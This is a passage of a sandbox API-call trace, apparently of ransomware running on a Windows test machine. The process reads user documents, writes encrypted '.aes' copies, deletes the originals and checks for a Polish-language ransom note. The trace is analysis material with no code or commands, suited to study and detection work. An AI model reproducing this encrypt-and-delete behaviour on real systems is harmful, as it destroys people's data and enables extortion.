GetAdaptersAddresses () returned 0x6f [0077.635] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0077.635] GetAdaptersAddresses () returned 0x0 [0077.641] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0077.648] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0077.648] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0077.657] LocalFree (hMem=0x6ff2da0) returned 0x0 [0077.657] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0077.665] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0077.665] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0077.679] LocalFree (hMem=0x6ff2da0) returned 0x0 [0077.680] LocalFree (hMem=0x7074460) returned 0x0 [0077.680] GetBestInterfaceEx (in: pDestAddr=0x28a0a60*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0077.862] ReadFile (in: hFile=0x7ec, lpBuffer=0x26c4818, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26c4818*, lpNumberOfBytesRead=0x77cea50*=0x7e6, lpOverlapped=0x0) returned 1 [0077.862] ReadFile (in: hFile=0x7ec, lpBuffer=0x26c4818, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26c4818*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0077.862] WriteFile (in: hFile=0x7c8, lpBuffer=0x28d38b4*, nNumberOfBytesToWrite=0x901, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x28d38b4*, lpNumberOfBytesWritten=0x77ce974*=0x901, lpOverlapped=0x0) returned 1 [0077.863] WriteFile (in: hFile=0x7c8, lpBuffer=0x28d38b4*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x28d38b4*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0077.863] CloseHandle (hObject=0x7c8) returned 1 [0077.864] CloseHandle (hObject=0x7ec) returned 1 [0077.864] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\A2yHS.rtf", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\A2yHS.rtf", lpFilePart=0x0) returned 0x36 [0077.864] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\A2yHS.rtf" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\a2yhs.rtf")) returned 1 [0077.865] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x47 [0077.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0077.865] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84bb840, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe84bb840, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe84bb840, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0077.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0077.865] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0077.885] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\JjJMV9taw3HHVo.ods", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\JjJMV9taw3HHVo.ods", lpFilePart=0x0) returned 0x3f [0077.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0077.885] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\JjJMV9taw3HHVo.ods" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\jjjmv9taw3hhvo.ods"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7806340, ftCreationTime.dwHighDateTime=0x1d30383, ftLastAccessTime.dwLowDateTime=0x6bb09b80, ftLastAccessTime.dwHighDateTime=0x1d2fd46, ftLastWriteTime.dwLowDateTime=0x6bb09b80, ftLastWriteTime.dwHighDateTime=0x1d2fd46, nFileSizeHigh=0x0, nFileSizeLow=0xd92e)) returned 1 [0077.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0077.886] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\JjJMV9taw3HHVo.ods", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\JjJMV9taw3HHVo.ods", lpFilePart=0x0) returned 0x3f [0077.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0077.886] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\JjJMV9taw3HHVo.ods" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\jjjmv9taw3hhvo.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0077.886] GetFileType (hFile=0x7ec) returned 0x1 [0077.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0077.886] GetFileType (hFile=0x7ec) returned 0x1 [0077.886] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\JjJMV9taw3HHVo.ods.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\JjJMV9taw3HHVo.ods.aes", lpFilePart=0x0) returned 0x43 [0077.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0077.886] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\JjJMV9taw3HHVo.ods.aes" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\jjjmv9taw3hhvo.ods.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0077.886] GetFileType (hFile=0x7c8) returned 0x1 [0077.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0077.886] GetFileType (hFile=0x7c8) returned 0x1 [0077.886] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0077.894] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0077.894] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0077.902] LocalFree (hMem=0x703ef10) returned 0x0 [0077.902] GetAdaptersAddresses () returned 0x6f [0077.909] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0077.909] GetAdaptersAddresses () returned 0x0 [0077.915] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0077.924] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0077.924] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0077.938] LocalFree (hMem=0x6ff2da0) returned 0x0 [0077.938] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0077.948] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0077.948] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0077.964] LocalFree (hMem=0x6ff2da0) returned 0x0 [0077.964] LocalFree (hMem=0x7074460) returned 0x0 [0077.964] GetBestInterfaceEx (in: pDestAddr=0x2975228*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0078.072] ReadFile (in: hFile=0x7ec, lpBuffer=0x26dd468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26dd468*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.080] ReadFile (in: hFile=0x7ec, lpBuffer=0x26dd468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26dd468*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.080] WriteFile (in: hFile=0x7c8, lpBuffer=0x28495a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28495a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.080] ReadFile (in: hFile=0x7ec, lpBuffer=0x26dd468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26dd468*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.080] WriteFile (in: hFile=0x7c8, lpBuffer=0x28495a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28495a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.080] ReadFile (in: hFile=0x7ec, lpBuffer=0x26dd468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26dd468*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.080] WriteFile (in: hFile=0x7c8, lpBuffer=0x28495a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28495a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.080] ReadFile (in: hFile=0x7ec, lpBuffer=0x26dd468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26dd468*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.081] WriteFile (in: hFile=0x7c8, lpBuffer=0x28495a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28495a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.081] ReadFile (in: hFile=0x7ec, lpBuffer=0x26dd468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26dd468*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.081] WriteFile (in: hFile=0x7c8, lpBuffer=0x28495a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28495a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.081] ReadFile (in: hFile=0x7ec, lpBuffer=0x26dd468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26dd468*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.081] WriteFile (in: hFile=0x7c8, lpBuffer=0x28495a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28495a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.081] ReadFile (in: hFile=0x7ec, lpBuffer=0x26dd468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26dd468*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.082] WriteFile (in: hFile=0x7c8, lpBuffer=0x28495a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28495a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.082] ReadFile (in: hFile=0x7ec, lpBuffer=0x26dd468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26dd468*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.082] WriteFile (in: hFile=0x7c8, lpBuffer=0x28495a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28495a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.082] ReadFile (in: hFile=0x7ec, lpBuffer=0x26dd468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26dd468*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.082] WriteFile (in: hFile=0x7c8, lpBuffer=0x28495a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28495a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.082] ReadFile (in: hFile=0x7ec, lpBuffer=0x26dd468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26dd468*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.082] WriteFile (in: hFile=0x7c8, lpBuffer=0x28495a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28495a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.083] ReadFile (in: hFile=0x7ec, lpBuffer=0x26dd468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26dd468*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.083] WriteFile (in: hFile=0x7c8, lpBuffer=0x28495a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28495a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.083] ReadFile (in: hFile=0x7ec, lpBuffer=0x26dd468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26dd468*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.083] WriteFile (in: hFile=0x7c8, lpBuffer=0x28495a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28495a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.083] ReadFile (in: hFile=0x7ec, lpBuffer=0x26dd468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26dd468*, lpNumberOfBytesRead=0x77cea50*=0x92e, lpOverlapped=0x0) returned 1 [0078.083] ReadFile (in: hFile=0x7ec, lpBuffer=0x26dd468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26dd468*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0078.083] WriteFile (in: hFile=0x7c8, lpBuffer=0x28495a8*, nNumberOfBytesToWrite=0xa41, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x28495a8*, lpNumberOfBytesWritten=0x77ce974*=0xa41, lpOverlapped=0x0) returned 1 [0078.083] WriteFile (in: hFile=0x7c8, lpBuffer=0x28495a8*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x28495a8*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0078.084] CloseHandle (hObject=0x7c8) returned 1 [0078.084] CloseHandle (hObject=0x7ec) returned 1 [0078.085] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\JjJMV9taw3HHVo.ods", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\JjJMV9taw3HHVo.ods", lpFilePart=0x0) returned 0x3f [0078.085] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\JjJMV9taw3HHVo.ods" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\jjjmv9taw3hhvo.ods")) returned 1 [0078.086] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x47 [0078.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0078.086] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84bb840, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe84bb840, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe84bb840, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0078.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0078.086] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0078.104] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\Okb6cH9a4iQrI_jw.csv", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\Okb6cH9a4iQrI_jw.csv", lpFilePart=0x0) returned 0x41 [0078.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0078.104] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\Okb6cH9a4iQrI_jw.csv" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\okb6ch9a4iqri_jw.csv"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb891d8c0, ftCreationTime.dwHighDateTime=0x1d3047f, ftLastAccessTime.dwLowDateTime=0x9736e970, ftLastAccessTime.dwHighDateTime=0x1d2fc2a, ftLastWriteTime.dwLowDateTime=0x9736e970, ftLastWriteTime.dwHighDateTime=0x1d2fc2a, nFileSizeHigh=0x0, nFileSizeLow=0x163cd)) returned 1 [0078.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0078.104] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\Okb6cH9a4iQrI_jw.csv", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\Okb6cH9a4iQrI_jw.csv", lpFilePart=0x0) returned 0x41 [0078.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0078.104] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\Okb6cH9a4iQrI_jw.csv" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\okb6ch9a4iqri_jw.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0078.104] GetFileType (hFile=0x7ec) returned 0x1 [0078.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0078.104] GetFileType (hFile=0x7ec) returned 0x1 [0078.104] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\Okb6cH9a4iQrI_jw.csv.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\Okb6cH9a4iQrI_jw.csv.aes", lpFilePart=0x0) returned 0x45 [0078.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0078.104] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\Okb6cH9a4iQrI_jw.csv.aes" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\okb6ch9a4iqri_jw.csv.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0078.104] GetFileType (hFile=0x7c8) returned 0x1 [0078.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0078.105] GetFileType (hFile=0x7c8) returned 0x1 [0078.105] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0078.112] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0078.112] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0078.121] LocalFree (hMem=0x703ef10) returned 0x0 [0078.121] GetAdaptersAddresses () returned 0x6f [0078.130] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0078.130] GetAdaptersAddresses () returned 0x0 [0078.135] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0078.141] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0078.141] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0078.153] LocalFree (hMem=0x6ff2da0) returned 0x0 [0078.153] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0078.163] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0078.163] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0078.173] LocalFree (hMem=0x6ff2da0) returned 0x0 [0078.173] LocalFree (hMem=0x7074460) returned 0x0 [0078.173] GetBestInterfaceEx (in: pDestAddr=0x27050b8*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0078.272] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.275] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.275] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.275] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.276] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.276] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.276] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, 